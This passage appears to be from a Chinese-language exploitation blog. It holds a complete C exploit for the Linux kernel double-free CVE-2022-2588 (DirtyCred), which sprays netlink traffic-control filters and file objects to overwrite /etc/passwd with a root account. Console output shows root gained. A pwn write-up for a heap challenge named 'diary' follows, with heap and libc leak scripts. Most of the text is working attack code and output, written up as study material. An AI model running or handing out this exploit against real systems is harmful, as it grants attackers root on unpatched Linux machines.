int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
// setup working dir
static void use_temporary_dir(void) {
system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data");
system("touch exp_dir/data2");
char* tmpdir = "exp_dir";
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
symlink("./data", "./uaf");
}
// setup process memory
static void adjust_rlimit() {
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
// setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
// RLIMIT_FILE
rlim.rlim_cur = rlim.rlim_max = 14096;
if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) { // RLIMIT_NOFILE 最大打开文件描述符限制,默认为 1024, 需设置为 14096, 便于喷射 `file` 结构
rlim.rlim_cur = rlim.rlim_max = 4096;
spray_num_1 = 1200;
spray_num_2 = 2800;
if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) {
perror("[-] setrlimit");
err(1, "[-] setrlimit");
}
}
}

void setup_namespace() {
int real_uid = getuid();
int real_gid = getgid();

if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
}

// set up process memory / working dir / namespace
void pre_exploit() {
adjust_rlimit();
use_temporary_dir();
setup_namespace();
}

#define NLMSG_TAIL(nmsg) \
((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))
// add attribute
int addattr(char* attr, int type, void* data, int len) {
struct rtattr* rta = (struct rtattr*)attr;

rta->rta_type = type;
rta->rta_len = RTA_LENGTH(len);
if (len)
memcpy(RTA_DATA(attr), data, len);

return RTA_LENGTH(len);
}
// add attribute (maxlen limitation)
int addattr_l(struct nlmsghdr* n, int maxlen, int type, const void* data, int alen) {
int len = RTA_LENGTH(alen);
struct rtattr* rta;

if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) {
fprintf(stderr, "addattr_l ERROR: message exceeded bound of %d\n", maxlen);
return -1;
}
rta = NLMSG_TAIL(n);
rta->rta_type = type;
rta->rta_len = len;
if (alen)
memcpy(RTA_DATA(rta), data, alen);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
return 0;
}

struct rtattr* addattr_nest(struct nlmsghdr* n, int maxlen, int type) {
struct rtattr* nest = NLMSG_TAIL(n);

addattr_l(n, maxlen, type, NULL, 0);
return nest;
}

int addattr_nest_end(struct nlmsghdr* n, struct rtattr* nest) {
nest->rta_len = (void*)NLMSG_TAIL(n) - (void*)nest;
return n->nlmsg_len;
}
// add_qdisc() —— setup the socket
int add_qdisc(int fd) {
char* start = malloc(0x1000);
memset(start, 0, 0x1000);
struct nlmsghdr* msg = (struct nlmsghdr*)start;

// new qdisc nlmsghdr + tcmsg
msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE;
msg->nlmsg_type = RTM_NEWQDISC;
struct tcmsg* t = (struct tcmsg*)(start + sizeof(struct nlmsghdr));
// set local
t->tcm_ifindex = 1;
t->tcm_family = AF_UNSPEC;
t->tcm_parent = TC_H_ROOT;
// prio, protocol
u_int32_t prio = 1;
u_int32_t protocol = 1;
t->tcm_info = TC_H_MAKE(prio << 16, protocol);

addattr_l(msg, 0x1000, TCA_KIND, "sfq", 4); // sfq is not defaully configured, only qfq is configured
// print_hex(msg, msg->nlmsg_len);

struct iovec iov = { .iov_base = msg, .iov_len = msg->nlmsg_len };
struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
struct msghdr msgh = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
return sendmsg(fd, &msgh, 0);
}
// spray 1 vulnerable object (filter) with customized flags
int add_tc_(int fd, u_int32_t from, u_int32_t to, u_int32_t handle, u_int16_t flags) {
char* start = malloc(0x2000);
memset(start, 0, 0x2000);
struct nlmsghdr* msg = (struct nlmsghdr*)start;

// new filter
msg = msg + msg->nlmsg_len;
msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
msg->nlmsg_flags = NLM_F_REQUEST | flags;
msg->nlmsg_type = RTM_NEWTFILTER; // RTM_NEWTFILTER
struct tcmsg* t = (struct tcmsg*)(start + sizeof(struct nlmsghdr));

// prio, protocol
u_int32_t prio = 1;
u_int32_t protocol = 1;
t->tcm_info = TC_H_MAKE(prio << 16, protocol);
t->tcm_ifindex = 1;
t->tcm_family = AF_UNSPEC;
t->tcm_handle = handle;

addattr_l(msg, 0x1000, TCA_KIND, "route", 6);
struct rtattr* tail = addattr_nest(msg, 0x1000, TCA_OPTIONS);
addattr_l(msg, 0x1000, TCA_ROUTE4_FROM, &from, 4); // TCA_ROUTE4_FROM
addattr_l(msg, 0x1000, TCA_ROUTE4_TO, &to, 4); // TCA_ROUTE4_TO
addattr_nest_end(msg, tail);

// packing
struct iovec iov = { .iov_base = msg, .iov_len = msg->nlmsg_len };
struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
struct msghdr msgh = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};

sendmsg(fd, &msgh, 0);
free(start);
return 1;
}

void add_tc(int sockfd, uint32_t handle, uint16_t flag) {
add_tc_(sockfd, 0, handle, (handle << 8) + handle, flag);
}

uint32_t calc_handle(uint32_t from, uint32_t to) {
uint32_t handle = to;

assert(from <= 0xff && to <= 0xff);
handle |= from << 16;

if (((handle & 0x7f00) | handle) != handle)
return 0;

if (handle == 0 || (handle & 0x8000))
return 0;
return handle;
}

void* delete_tc_(int sockfd, u_int32_t handle) {
char* start = malloc(0x4000);
memset(start, 0, 0x4000);
struct nlmsghdr* msg = (struct nlmsghdr*)start;

// delete filter
msg = msg + msg->nlmsg_len;
msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_ECHO;
msg->nlmsg_type = RTM_DELTFILTER; // RTM_DELTFILTER
struct tcmsg* t = (struct tcmsg*)(start + sizeof(struct nlmsghdr));

// prio, protocol
u_int32_t prio = 1;
u_int32_t protocol = 1;
t->tcm_info = TC_H_MAKE(prio << 16, protocol);
t->tcm_ifindex = 1;
t->tcm_family = AF_UNSPEC;
t->tcm_handle = handle;

addattr_l(msg, 0x1000, TCA_KIND, "route", 6);
struct rtattr* tail = addattr_nest(msg, 0x1000, TCA_OPTIONS);
addattr_nest_end(msg, tail);

// packing
struct iovec iov = { .iov_base = msg, .iov_len = msg->nlmsg_len };
struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
struct msghdr msgh = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};

sendmsg(sockfd, &msgh, 0);
memset(start, 0, 0x4000);
iov.iov_len = 0x4000;
iov.iov_base = start;
recvmsg(sockfd, &msgh, 0);

if (msgh.msg_namelen != sizeof(nladdr))
printf("[-] size of sender address is wrong\n");
return start;
}

void delete_tc(int sockfd, uint32_t handle) {
delete_tc_(sockfd, ((handle) << 8) + (handle));
}

// spray spray_count objects ???
int add_tc_basic(int fd, uint32_t handle, void* spray_data, size_t spray_len, int spray_count) {
assert(spray_len * spray_count < 0x3000);
char* start = malloc(0x4000);
memset(start, 0, 0x4000);
struct nlmsghdr* msg = (struct nlmsghdr*)start;

// new filter nlmsghdr + tcmsg
msg = msg + msg->nlmsg_len;
msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // | flags;
msg->nlmsg_type = RTM_NEWTFILTER; // RTM_NEWTFILTER
struct tcmsg* t = (struct tcmsg*)(start + sizeof(struct nlmsghdr));

// prio, protocol
u_int32_t prio = 1;
u_int32_t protocol = 1;
t->tcm_info = TC_H_MAKE(prio << 16, protocol);
t->tcm_ifindex = 1;
t->tcm_family = AF_UNSPEC;
t->tcm_handle = handle;
// t->tcm_parent = TC_H_ROOT;

addattr_l(msg, 0x4000, TCA_KIND, "basic", 6);
struct rtattr* tail = addattr_nest(msg, 0x4000, TCA_OPTIONS);
struct rtattr* ema_tail = addattr_nest(msg, 0x4000, TCA_BASIC_EMATCHES);
struct tcf_ematch_tree_hdr tree_hdr = { .nmatches = spray_count / 2,
.progid = 0 };

addattr_l(msg, 0x4000, TCA_EMATCH_TREE_HDR, &tree_hdr, sizeof(tree_hdr));
struct rtattr* rt_match_tail = addattr_nest(msg, 0x4000, TCA_EMATCH_TREE_LIST);

char* data = malloc(0x3000);
for (int i = 0; i < tree_hdr.nmatches; i++) {
char* current;
memset(data, 0, 0x3000);
struct tcf_ematch_hdr* hdr = (struct tcf_ematch_hdr*)data;
hdr->kind = TCF_EM_META;
hdr->flags = TCF_EM_REL_AND;

current = data + sizeof(*hdr);

struct tcf_meta_hdr meta_hdr = {
.left.kind = TCF_META_TYPE_VAR << 12 | TCF_META_ID_DEV,
.right.kind = TCF_META_TYPE_VAR << 12 | TCF_META_ID_DEV,
};

current += addattr(current, TCA_EM_META_HDR, &meta_hdr, sizeof(hdr));
current += addattr(current, TCA_EM_META_LVALUE, spray_data, spray_len);
current += addattr(current, TCA_EM_META_RVALUE, spray_data, spray_len);

addattr_l(msg, 0x4000, i + 1, data, current - data);
}

addattr_nest_end(msg, rt_match_tail);
addattr_nest_end(msg, ema_tail);
addattr_nest_end(msg, tail);

// packing
struct iovec iov = { .iov_base = msg, .iov_len = msg->nlmsg_len };
struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
struct msghdr msgh = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
sendmsg(fd, &msgh, 0);
free(data);
free(start);
return 1;
}

void* delete_tc_basic(int sockfd, u_int32_t handle) {
char* start = malloc(0x4000);
memset(start, 0, 0x4000);
struct nlmsghdr* msg = (struct nlmsghdr*)start;

// delete filter
msg = msg + msg->nlmsg_len;
msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_ECHO;
msg->nlmsg_type = RTM_DELTFILTER; // RTM_DELTFILTER
struct tcmsg* t = (struct tcmsg*)(start + sizeof(struct nlmsghdr));

// prio, protocol
u_int32_t prio = 1;
u_int32_t protocol = 1;
t->tcm_info = TC_H_MAKE(prio << 16, protocol);
t->tcm_ifindex = 1;
t->tcm_family = AF_UNSPEC;
t->tcm_handle = handle;
// t->tcm_parent = TC_H_ROOT;

addattr_l(msg, 0x1000, TCA_KIND, "basic", 6);
struct rtattr* tail = addattr_nest(msg, 0x1000, TCA_OPTIONS);
addattr_nest_end(msg, tail);

// packing
struct iovec iov = { .iov_base = msg, .iov_len = msg->nlmsg_len };
struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
struct msghdr msgh = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};

sendmsg(sockfd, &msgh, 0);
memset(start, 0, 0x4000);
iov.iov_len = 0x4000;
iov.iov_base = start;
recvmsg(sockfd, &msgh, 0);

if (msgh.msg_namelen != sizeof(nladdr))
printf("[-] size of sender address is wrong\n");

return start;
}
// slow_write() —— thread 1: occupy the write lock (write plenty of data)
void* slow_write() {
printf("[11-1] start slow write\n");
clock_t start, end;
int fd = open("./uaf", 1);
if (fd < 0) {
perror("[-] error open uaf file");
exit(-1);
}

unsigned long int addr = 0x30000000;
int offset;
for (offset = 0; offset < 0x80000 / 20; offset++) { // mmap space [0x30000000, 0x30000000 + 0x1000 * 0x80000 / 20]
void* r = mmap((void*)(addr + offset * 0x1000), 0x1000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if (r < 0)
printf("[-] allocate failed at 0x%x\n", offset);
}
assert(offset > 0);

void* mem = (void*)(addr);
memcpy(mem, "hhhhh", 5);
struct iovec iov[20];
for (int i = 0; i < 20; i++) { // write plenty of data (0x80000 * 0x1000 = 0x80 000 000 = 2GB)
iov[i].iov_base = mem;
iov[i].iov_len = offset * 0x1000;
}

run_write = 1; // notifiy thread 2 (unprivileged `file`) begin to write evil data
start = clock();

if (writev(fd, iov, 20) < 0)
perror("slow write");
end = clock();
double spent = (double)(end - start) / CLOCKS_PER_SEC;
printf("[*] write done, spent %f s\n", spent);
run_write = 0;
}
// write_cmd() —— thread 2: write evil data to the privileged file
void* write_cmd() {
struct iovec iov = { .iov_base = content, .iov_len = strlen(content) };

while (!run_write) {} // wait for thread 1 to prepare write
printf("[11-2] write evil data after the slow write\n");
run_spray = 1;
if (writev(overlap_a, &iov, 1) < 0)
printf("[-] failed to write\n");
}

void exploit() {
char msg[0x10] = {};
struct rlimit old_lim, lim, new_lim;

// Get old limits
if (getrlimit(RLIMIT_NOFILE, &old_lim) == 0)
printf("Old limits -> soft limit= %ld \t"
" hard limit= %ld \n",
old_lim.rlim_cur, old_lim.rlim_max);
pin_on_cpu(0);
printf("[*] starting exploit, num of cores: %d\n", cpu_cores);
// open & setup the socket
sockfd = socket(PF_NETLINK, SOCK_RAW, 0);
assert(sockfd != -1);
add_qdisc(sockfd);
// 3. allocate a route4_filter (vulnerable object)
if (read(pipe_child[0], msg, 2) != 2)
err(1, "[-] read from parent");
printf("[3] allocate the vulnerable filter\n");
add_tc_(sockfd, 0, 0, 0, NLM_F_EXCL | NLM_F_CREATE); // handle = 0

if (write(pipe_parent[1], "OK", 2) != 2)
err(1, "[-] write to child");
// 6. 1st free the route4_filter, return the `kmalloc-256` page to the page allocator
if (read(pipe_child[0], msg, 2) != 2)
err(1, "[-] read from parent");

// free the object, to free the slab
printf("[6] 1st freed the filter object\n");
// getchar();
add_tc_(sockfd, 0x11, 0x12, 0, NLM_F_CREATE); // handle = 0

// wait for the vulnerable object being freed
usleep(500 * 1000);
if (write(pipe_parent[1], "OK", 2) != 2)
err(1, "[-] write to child");
// 8. spray 4000 unprivileged `file`
if (read(pipe_child[0], msg, 2) != 2)
err(1, "[-] read from parent");

usleep(1000 * 1000);
printf("[8] spray 4000 uprivileged `file`\n");
for (int i = 0; i < spray_num_1; i++) {
pin_on_cpu(i % cpu_cores);
fds[i] = open("./data2", 1);
assert(fds[i] > 0);
}
// printf("pause before 2nd free\n");
// getchar();
// 9. 2nd free route4_filter, which will free the file
printf("[9] 2nd free the filter object\n");
add_tc_(sockfd, 0x11, 0x13, 0, NLM_F_CREATE); // handle = 0
printf("pause after 2nd free\n");
// getchar();
// sleep(10000);
usleep(1000 * 100); // should not sleep too long, otherwise file might be claimed by others

// 10. spray 5000 unprivileged `file` & find the overlapped file
printf("[10] spraying 5000 unprivileged `file`\n");
for (int i = 0; i < spray_num_2; i++) {
pin_on_cpu(i % cpu_cores);
fd_2[i] = open("./uaf", 1);
assert(fd_2[i] > 0);
for (int j = 0; j < spray_num_1; j++) {
// 10-1. spray one `file` & use kcmp to check if we take up the vulnerable object
if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, fds[j], fd_2[i]) == 0)
{
printf("[10-1] found overlapped file, id : %d, %d\n", i, j);
overlap_a = fds[j];
overlap_b = fd_2[i];
// 11. start 2 threads: Thread 1-take up write lock; Thread 2-write evil data
printf("[11] start 2 threads compete to write\n");
pthread_t pid, pid2;
pthread_create(&pid, NULL, slow_write, NULL);
pthread_create(&pid2, NULL, write_cmd, NULL);

while (!run_spray) {}
// 12. spray privileged `file` object
close(overlap_a); // ??????????? why release twice ???????????
close(overlap_b);

usleep(1000 * 100);
int spray_num = 4096;
write(pipe_file_spray[0][1], &spray_num, sizeof(int));
if (read(pipe_file_spray[1][0], &msg, 2) != 2)
err(1, "[-] read from file spray");
overlapped = true;
}
}
if (overlapped)
break;
}
// 13. finish exploitation
sleep(3);
while (run_write) { sleep(1); }
printf("[13] check whether we overwrite the privileged file\n");
if (!overlapped) {
printf("[-] no overlap found :(...\n");
write(pipe_main[1], "\xff", 1);
}
else {
int xx = open(target, 0);
char buf[0x100] = {};
// check if user (hi) in the passwd
read(xx, buf, 0x30);
if (!strncmp(buf, "hi", 2))
write(pipe_main[1], "\x00", 1);
else {
printf("[-] not successful : %s\n", buf);
write(pipe_main[1], "\xff", 1);
}
}
while (1) { sleep(1000); }
}

int run_exp() {
// 0. initialize pipe as notifier
if (pipe(pipe_parent) == -1)
err(1, "[-] fail to create pipes\n");
if (pipe(pipe_child) == -1)
err(1, "[-] fail to create pipes\n");
if (pipe(pipe_defrag) == -1)
err(1, "[-] fail to create pipes\n");
if (pipe(pipe_file_spray[0]) == -1) // begin spray file
err(1, "[-] fail to create pipes\n");
if (pipe(pipe_file_spray[1]) == -1) // end spray file
err(1, "[-] fail to create pipes\n");
cpu_cores = sysconf(_SC_NPROCESSORS_ONLN);

if (fork() == 0) {
// 12. Thread 3 - spray 4096*2 priviledged `file` objects to replace unprivileged `file` (wait pipe_file_spray[0])
adjust_rlimit();
int spray_num = 0;
if (read(pipe_file_spray[0][0], &spray_num, sizeof(int)) < sizeof(int)) // use pipe_file_spray to notify
err(1, "[-] read file spray");

printf("[12] got cmd, start spraying 4096*2 `file` by opening %s\n", target);
spray_num = 4096;
if (fork() == 0) { // spray 4096 `file` (parent-process)
for (int i = 0; i < spray_num; i++) {
pin_on_cpu(i % cpu_cores);
open(target, 0);
}
while (1) { sleep(10000); }
}
// spray 4096 `file` (sub-process)
for (int i = 0; i < spray_num; i++) {
pin_on_cpu(i % cpu_cores);
open(target, 0);
}
printf("[*] spray done\n");
write(pipe_file_spray[1][1], "OK", 2); // write pipe_file_spray[1] —— finish spray `file`
while (1) { sleep(10000); }
exit(0);
}
// 0. preprocess & start main exploit
if (fork() == 0) {
pin_on_cpu(0);
pre_exploit(); // set up process memory / working dir / namespace
exploit(); // main exploit
}
else
{
sleep(2);
if (fork() == 0)
{
// 1. defragmentation —— spray 10000 `file` to exhaust all file slabs for cross cache - all cores
adjust_rlimit();
printf("[1] defragmentation - spray 10000 `file` to exhaust all file slabs for cross cache\n");
for (int i = 0; i < 10000; i++) {
pin_on_cpu(i % cpu_cores);
open(target, 0);
}

if (write(pipe_defrag[1], "OK", 2) != 2)
err(1, "[-] failed write defrag");
while (1) { sleep(1000); }
}
else
{
// 2. spray thread - core 0 spray kmalloc-192 & kmalloc-256
setup_namespace();
pin_on_cpu(0);
int sprayfd = socket(PF_NETLINK, SOCK_RAW, 0);
assert(sprayfd != -1);
add_qdisc(sprayfd);
// 2-1. prepare payload
char msg[0x10] = {};
char payload[256] = {};
memset(payload + 0x10, 'A', 256 - 0x10);

if (read(pipe_defrag[0], msg, 2) != 2)
err(1, "[-] failed read defrag");

// if the exploit keeps failing, please tune the middle and end
int middle = 38; // 38
int end = middle + 40; // 40
// 2-2. spray (38+3)*32 filters in kmalloc-192 & kmalloc-256
printf("[2] spray (38+3)*32 kmalloc-192 & kmalloc-256\n");
for (int i = 0; i < middle; i++)
add_tc_basic(sprayfd, i + 1, payload, 193, 32);

add_tc_basic(sprayfd, middle + 1, payload, 193, 32);
add_tc_basic(sprayfd, middle + 2, payload, 193, 32);
add_tc_basic(sprayfd, middle + 3, payload, 193, 32);
if (write(pipe_child[1], "OK", 2) != 2)
err(1, "[-] write to parent\n");
// 4. spray more filters in kmalloc-192 & kmalloc-256
if (read(pipe_parent[0], msg, 2) != 2)
err(1, "[-] read from parent");
// add_tc_basic(sprayfd, middle+2, payload, 129, 32);

// prepare another part for cross cache
printf("[4] spray kmalloc-192 & kmalloc-256\n");
for (int i = middle + 2; i < end; i++)
add_tc_basic(sprayfd, i + 1, payload, 193, 32);
// 5. free (end-24)*32 kmalloc-192 & kmalloc-256
printf("[5] free (end-24)*32 kmalloc-192 & kmalloc-256\n");
for (int i = 1; i < end - 24; i++) {
// prevent double free of 192 and being reclaimed by others
if (i == middle || i == middle + 1)
continue;
delete_tc_basic(sprayfd, i + 1);
}
if (write(pipe_child[1], "OK", 2) != 2)
err(1, "[-] write to parent\n");
// 7. free (end-middle+1)*32 kmalloc-192 & kmalloc-256
if (read(pipe_parent[0], msg, 2) != 2)
err(1, "[-] read from parent");
// if (cpu_cores == 1) sleep(1);
printf("[7] free (end-middle+1)*32 kmalloc-192 & kmalloc-256\n");
delete_tc_basic(sprayfd, middle + 2);
delete_tc_basic(sprayfd, middle + 3);
delete_tc_basic(sprayfd, 1);
for (int i = middle + 2; i < end; i++)
delete_tc_basic(sprayfd, i + 1);
//getchar();
if (write(pipe_child[1], "OK", 2) != 2)
err(1, "[-] write to parent\n");
while (1) { sleep(1000); }
}
}
}

int main(int argc, char** argv) {
global = (char*)mmap(NULL, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANON, -1, 0);
memset(global, 0, 0x2000);

self_path = global;
snprintf(self_path, 0x100, "%s/%s", get_current_dir_name(), argv[0]);
printf("[*] self path %s\n", self_path);
// prepare write data —— evil data + existing data in /etc/passwd
printf("[*] prepare evil data\n");
int fd = open(target, 0);
content = (char*)(global + 0x100);
strcpy(content, overwrite);
read(fd, content + strlen(overwrite), 0x1000);
close(fd);
// run_exp() in sub-process
assert(pipe(pipe_main) == 0);
if (fork() == 0) {
run_exp(); // main exploit
while (1) { sleep(10000); }
}
// judge if succeed
char data;
read(pipe_main[0], &data, 1);
if (data == 0)
printf("[+] succeed\n");
else
printf("[-] failed\n");
}

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ ./exploit
[*] self path /home/hi/./exploit
[*] prepare evil data
Old limits -> soft limit= 14096 hard limit= 14096
[*] starting exploit, num of cores: 4
[1] defragmentation - spray 10000 `file` to exhaust all file slabs for cross cache
[2] spray (38+3)*32 kmalloc-192 & kmalloc-256
[3] allocate the vulnerable filter
[4] spray kmalloc-192 & kmalloc-256
[5] free (end-24)*32 kmalloc-192 & kmalloc-256
[6] 1st freed the filter object
[7] free (end-middle+1)*32 kmalloc-192 & kmalloc-256
[8] spray 4000 uprivileged `file`
[9] 2nd free the filter object
pause after 2nd free
[10] spraying 5000 unprivileged `file`
[10-1] found overlapped file, id : 22, 1930
[11] start 2 threads compete to write
[11-1] start slow write
[11-2] write evil data after the slow write
[12] got cmd, start spraying 4096*2 `file` by opening /etc/passwd
[*] spray done
[*] write done, spent 9.352879 s
[13] check whether we overwrite the privileged file
[+] succeed
$ su hi
Password:
# id
uid=0(hi) gid=0(root) groups=0(root)
# cat /etc/passwd
hi:x:0:0:root:/:/bin/sh
root::0:0:root:/root:/bin/bash

参考:CVE-2022-2588 Double-free 漏洞 DirtyCred 利用

diary

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31
1
2
3
4
5
diary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=f9a0df0117a1b0f105959590bb560a21554a17e2, stripped
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

程序的 “dele” 模块有点漏洞

1
2
3
4
5
6
add(2022,12,10,10,30,30,b"1"*0x300)
add(2021,12,10,10,30,30,b"2"*0x300)
add(2020,12,10,10,30,30,b"3"*0x300)
add(2019,12,10,10,30,30,b"4"*0x300)

dele(0)

这里我们只释放了 chunk0,但 chunk3 也被释放了,并且堆块整体向上移动(如果我们释放最后一个 chunk,则是正常的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> telescope 0x55555557f080
00:00000x55555557f080 ◂— 0x6
01:00080x55555557f088 ◂— 0x311
02:00100x55555557f090 ◂— 0x7e5550a0c0a1e1e
03:00180x55555557f098 ◂— 0x0
04:00200x55555557f0a0 —▸ 0x555555580350 ◂— 0x3232323220202020 (' 2222')
05:00280x55555557f0a8 ◂— 0x7e4550a0c0a1e1e
06:00300x55555557f0b0 ◂— 0x0
07:00380x55555557f0b8 —▸ 0x555555580690 ◂— 0x3333333320202020 (' 3333')
08:00400x55555557f0c0 ◂— 0x7e3550a0c0a1e1e
09:00480x55555557f0c8 ◂— 0x0
0a:00500x55555557f0d0 —▸ 0x5555555809d0 —▸ 0x55555557fd00 ◂— 0x0
0b:00580x55555557f0d8 ◂— 0x7e3550a0c0a1e1e
0c:00600x55555557f0e0 ◂— 0x0
0d:00680x55555557f0e8 —▸ 0x5555555809d0 —▸ 0x55555557fd00 ◂— 0x0
  • 程序可以控制前3个 chunk,利用第3个 chunk 就可以完成泄露

入侵思路

利用这个程序漏洞就可以完成泄露:

  • 泄露 heap_base:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
add(2022,12,10,10,30,30,b"1"*0x300)
add(2021,12,10,10,30,30,b"2"*0x300)
add(2020,12,10,10,30,30,b"3"*0x300)
add(2019,12,10,10,30,30,b"4"*0x300)
add(2018,12,10,10,30,30,b"5"*0x300)
add(2017,12,10,10,30,30,b"6"*0x300)
add(2016,12,10,10,30,30,b"7"*0x300)

dele(6)
dele(0)
dele(0)
dele(0)
dele(0)

show(1)
p.recvuntil("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
heap_base = leak_addr - 0x14390
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))
  • 泄露 libc_base:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
dele(0)
dele(0)
add(1802,12,10,10,30,30,b"1"*0x300)
add(1801,12,10,10,30,30,b"2"*0x300)
add(1800,12,10,10,30,30,b"3"*0x300)
add(1809,12,10,10,30,30,b"4"*0x300)
add(1808,12,10,10,30,30,b"5"*0x300)
add(1807,12,10,10,30,30,b"6"*0x300)
add(1806,12,10,10,30,30,b"7"*0x300)
add(1805,12,10,10,30,30,b"8"*0x300)
add(1804,12,10,10,30,30,b"9"*0x300)

dele(8)
dele(7)
dele(6)
dele(5)
dele(4)
dele(3)
dele(0)

show(1)
p.recvuntil("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

注意观察此时的堆风水:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> telescope 0x55555557f080
00:00000x55555557f080 ◂— 0x6
01:00080x55555557f088 ◂— 0x311
02:00100x55555557f090 ◂— 0x709550a0c0a1e1e
03:00180x55555557f098 ◂— 0x0
04:00200x55555557f0a0 —▸ 0x55555557fd00 ◂— 0x3232323220202020 (' 2222')
05:00280x55555557f0a8 ◂— 0x708550a0c0a1e1e
06:00300x55555557f0b0 ◂— 0x0
07:00380x55555557f0b8 —▸ 0x555555581730 —▸ 0x7ffff7da9be0 (main_arena+96) —▸ 0x555555582db0 ◂— 0x0
08:00400x55555557f0c0 ◂— 0x708550a0c0a1e1e
09:00480x55555557f0c8 ◂— 0x0
0a:00500x55555557f0d0 —▸ 0x555555581730 —▸ 0x7ffff7da9be0 (main_arena+96) —▸ 0x555555582db0 ◂— 0x0
0b:00580x55555557f0d8 ◂— 0x711550a0c0a1e1e
0c:00600x55555557f0e0 ◂— 0x0
0d:00680x55555557f0e8 —▸ 0x555555581a70 —▸ 0x555555581db0 —▸ 0x5555555820f0 —▸ 0x555555582430 ◂— ...
0e:00700x55555557f0f0 ◂— 0x710550a0c0a1e1e
0f:00780x55555557f0f8 ◂— 0x0
  • chunk1 和 chunk2 都是 unsortedbin
  • 也就是说,接下来程序在这个 unsortedbin 中申请的第一个 chunk 会被当做 chunkn,可以被“堆菜单”提供的各个函数控制
1
2
3
4
5
6
memset(*(void **)(a1 + 16), 0, 0x300uLL);
memcpy(*(void **)(a1 + 16), " ", 4uLL);
len2 = 0x2F0;
if ( len <= 0x2F0 )
len2 = len;
memcpy((void *)(*(_QWORD *)(a1 + 16) + 4LL), a2, len2);
  • 在“堆菜单”的 update 函数中,可以对 0x2F0 字节大小的空间进行控制
  • 只要申请的 chunk 比 0x2F0 小,就可以完成堆溢出

接下来的思路很简单,就是利用这个堆溢出来修改 encrypt 创建的 chunk:

  • encrypt 会对程序进行加密,然后把原来的数据存储在一个 chunk 中
  • 只要覆盖了这个 chunk 中的数据,就可以在 decrypt 中把修改后的数据写回
